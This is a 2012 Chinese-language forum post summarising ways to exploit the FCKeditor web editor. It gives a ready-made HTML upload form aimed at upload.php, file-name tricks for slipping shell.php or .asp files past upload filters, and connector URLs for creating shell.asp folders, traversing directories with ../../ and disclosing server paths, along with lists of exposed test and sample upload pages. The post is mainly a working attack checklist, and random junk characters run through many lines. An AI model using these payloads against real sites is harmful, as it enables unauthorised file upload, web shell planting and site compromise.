找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2624|回复: 1
打印 上一主题 下一主题

FCKeditor漏洞利用总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 20:23:31 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Fckeditor漏洞利用总结

查看编辑器版本  E$ C5 ?+ _) B
FCKeditor/_whatsnew.html
0 X6 F0 S! R# U0 C: A5 d—————————————————————————————————————————————————————————————

2. Version 2.2 版本
4 a7 U( n8 x. F# o- |Apache+linux 环境下在上传文件后面加个.突破!测试通过。
5 l$ o8 D9 G) E, S—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。* A  \; ^, d4 }/ T) M
<form id="frmUpload" enctype="multipart/form-data"/ |. @' O: o! X8 c. c5 d8 s4 |
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
% V# @% x0 p8 I* e/ h<input type="file" name="NewFile" size="50"><br># @; ]0 E: V& _- k  C6 |5 L: b
<input id="btnUpload" type="submit" value="Upload">
4 {  f3 m1 A1 S1 R5 G" r6 Z6 [</form>: u) E* [" [4 @( t
—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法  |+ ~' K9 k7 U+ H! G% C" w4 u3 p
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
& K8 Q, s3 s6 Q; `    4.1:提交shell.php+空格绕过
% e3 w) i4 K' K; s, f1 ?: b  y不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
; |; ?( s+ e/ o; T: b# K) f    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。% r& R2 u. [; Z* `
—————————————————————————————————————————————————————————————

5. 突破建立文件夹4 F0 d( j! a$ E/ M7 M2 S
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
, q5 w& j: n* l/ g# w3 vFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp# b4 w/ ~8 c' i* [1 l* p. p* i8 \
—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址/ ~/ w+ e. X. a8 v" P8 s$ U8 D
FCKeditor/editor/filemanager/browser/default/connectors/test.html7 s$ q4 s2 P' u7 O) v+ Q! E. E
FCKeditor/editor/filemanager/upload/test.html9 p( X! J5 N$ b. h' H
FCKeditor/editor/filemanager/connectors/test.html
2 h9 y/ Q( |: pFCKeditor/editor/filemanager/connectors/uploadtest.html# z( v) r1 z  l' \" E1 b: _
—————————————————————————————————————————————————————————————4 q( B1 W+ m2 \" U6 s) E# p

7.常用上传地址5 a' l. w, ^5 G. A! b7 o
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/0 b7 l% s" ?" }& W
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
6 b: ^2 O8 b0 \; J! QFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)' }8 U( u2 Q' H: a
JSP 版:! Z& v& }4 u& W& I3 A! b
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
  c; _' C" U) M* B& p5 F2 v' E注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
; E& O, D. G  C& H  i' q件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。  z$ ]& W8 M. Q% D. n5 U7 ~  ^
—————————————————————————————————————————————————————————————

8.其他上传地址% R; J% I" u3 f: M* f$ K1 B
FCKeditor/_samples/default.html- z2 w1 A4 G" ~% \
FCKeditor/_samples/asp/sample01.asp5 F; \( G5 A/ c8 v6 z+ ^
FCKeditor/_samples/asp/sample02.asp4 ~6 l7 N+ I: g* B2 m5 m
FCKeditor/_samples/asp/sample03.asp+ N* S4 m" q1 s" [4 r& [. ^
FCKeditor/_samples/asp/sample04.asp. r6 R4 Z0 _. `: V5 P
一般很多站点都已删除_samples 目录,可以试试。. u! B3 ]' O! H5 y0 {1 ?
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
* g8 W0 I' x4 I; H—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址
6 d8 j1 g" N/ r- q' Z. |Version 2.4.1 测试通过
5 s6 N( t* y; M8 N, T修改CurrentFolder 参数使用 ../../来进入不同的目录
; o1 Z: l; D1 W5 |/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
5 Z$ G4 L) {/ ~; c* j* o根据返回的XML 信息可以查看网站所有的目录。
; w! A& H6 ~$ ~( T; ^2 mFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
* y4 W  w0 |- H3 y也可以直接浏览盘符:
7 y) J- M$ r  uJSP 版本:
- o2 Q4 Z6 d9 w9 k- c# gFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
* f) v, |0 A3 B, o$ F—————————————————————————————————————————————————————————————

10.爆路径漏洞* r5 i& F' c! }$ t( Y6 i0 U
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp+ ]/ x' Q) l1 U8 A, [" p
—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题
+ a# J3 r: {1 Q# W1 Y% Z        影响版本: FCKeditor x.x <= FCKeditor v2.4.3. L/ W% P/ Z, S" t7 V
脆弱描述:
/ Q  w2 ?; s2 [" L+ r% P5 T3 F, \. vFCKeditor v2.4.3 中File 类别默认拒绝上传类型:: V( N: t8 ~1 L& l
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm$ R4 T( a# i% {
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!* V) k4 j  r6 ]9 h) x2 r2 r
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
3 ]+ a2 j: {0 Z& K( ~$ R        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

回复

使用道具 举报

沙发
发表于 2012-9-8 22:43:14 | 只看该作者

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表